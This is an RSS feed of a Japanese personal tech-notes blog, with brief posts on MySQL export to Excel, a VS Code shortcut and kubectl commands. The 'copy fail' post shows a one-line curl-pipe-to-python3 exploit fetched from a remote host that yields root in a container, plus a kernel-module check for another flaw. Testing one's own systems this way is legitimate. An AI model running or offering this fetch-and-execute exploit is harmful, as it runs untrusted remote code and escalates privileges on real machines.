<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title>Tomofumi Chiba - Leaves</title>
    <link>https://leaves.chiba.dev/users/chiba</link>
    <description>Tomofumi Chiba - Leaves</description>
    <image>
      <url>https://leaves.chiba.dev/favicon.ico</url>
    </image>
    
    <item>
      <title>MySQL: テーブルデータを export し、Excel で開ける形式にする方法 | Tomofumi Chiba - Leaves</title>
      <link>https://leaves.chiba.dev/posts/433</link>
      <pubDate>Fri, 19 Jun 2026 05:21:40 GMT</pubDate>
      <guid>433</guid>
      <description>
### MySQL: テーブルデータを export し、Excel で開ける形式にする方法

#### 1. MySQL側での出力
   
```
mysql ${CONNECT_OPTION} -e &quot;select * from ${TABLE_NAME}&quot; &gt; output.txt
```
* カラムデリミタ: タブコード
* レコードデリミタ: 改行コード(LF)
* 文字コード: UTF-8

#### 2. Excel側での操作
* Excelを開き、「データ」タブ ＞ 「テキストまたはCSVから」 で output.txt をインポート。

##### エスケープされた改行文字 `\n` の改行化
* Ctrl + H で置換画面を開く。
* 検索文字に `\n` を入力、置換後に Ctrl + J を「1回だけ」 押し（画面は空白になります）、「すべて置換」を実行。
* 仕上げに「ホーム」タブの 「折り返して全体を表示する」 をオンにする。

      </description>
    </item>
    
    <item>
      <title>vscode: diff 表示で次の差分にジャンプ | Tomofumi Chiba - Leaves</title>
      <link>https://leaves.chiba.dev/posts/432</link>
      <pubDate>Wed, 17 Jun 2026 01:24:12 GMT</pubDate>
      <guid>432</guid>
      <description>
vscode: diff 表示で次の差分にジャンプ

Alt + F5

おそらく環境によって違う。
      </description>
    </item>
    
    <item>
      <title>kubectl: pod name と Node IP を並べて表示。 -o wide で見えるIPとは別 | Tomofumi Chiba - Leaves</title>
      <link>https://leaves.chiba.dev/posts/431</link>
      <pubDate>Mon, 25 May 2026 08:37:50 GMT</pubDate>
      <guid>431</guid>
      <description>
#### kubectl: pod name と Node IP を並べて表示。 -o wide で見えるIPとは別
```
kubectl get pod -o jsonpath=&quot;{range .items[*]}{.metadata.name}{&apos;\t&apos;}{.status.hostIP}{&apos;\n&apos;}&quot;
```
      </description>
    </item>
    
    <item>
      <title>kubectl: stop deployment, pod | Tomofumi Chiba - Leaves</title>
      <link>https://leaves.chiba.dev/posts/430</link>
      <pubDate>Fri, 15 May 2026 06:52:11 GMT</pubDate>
      <guid>430</guid>
      <description>
#### kubectl: stop deployment, pod

```
kubectl scale deployment ${DEPLOYMENT} --replicas=0
```

      </description>
    </item>
    
    <item>
      <title>copy fail | Tomofumi Chiba - Leaves</title>
      <link>https://leaves.chiba.dev/posts/428</link>
      <pubDate>Sat, 09 May 2026 23:42:08 GMT</pubDate>
      <guid>428</guid>
      <description>
#### copy fail
wsl 内のコンテナ内で確認
```
$ whoami
chiba
$ curl https://copy.fail/exp | python3 &amp;&amp; su
# whoami
root
```
#### dirty frag
対象モジュールが入ってなく再現しない
```
lsmod | grep -E &apos;^(esp4|esp6|rxrpc)&apos;
```
      </description>
    </item>
    
  </channel>
</rss>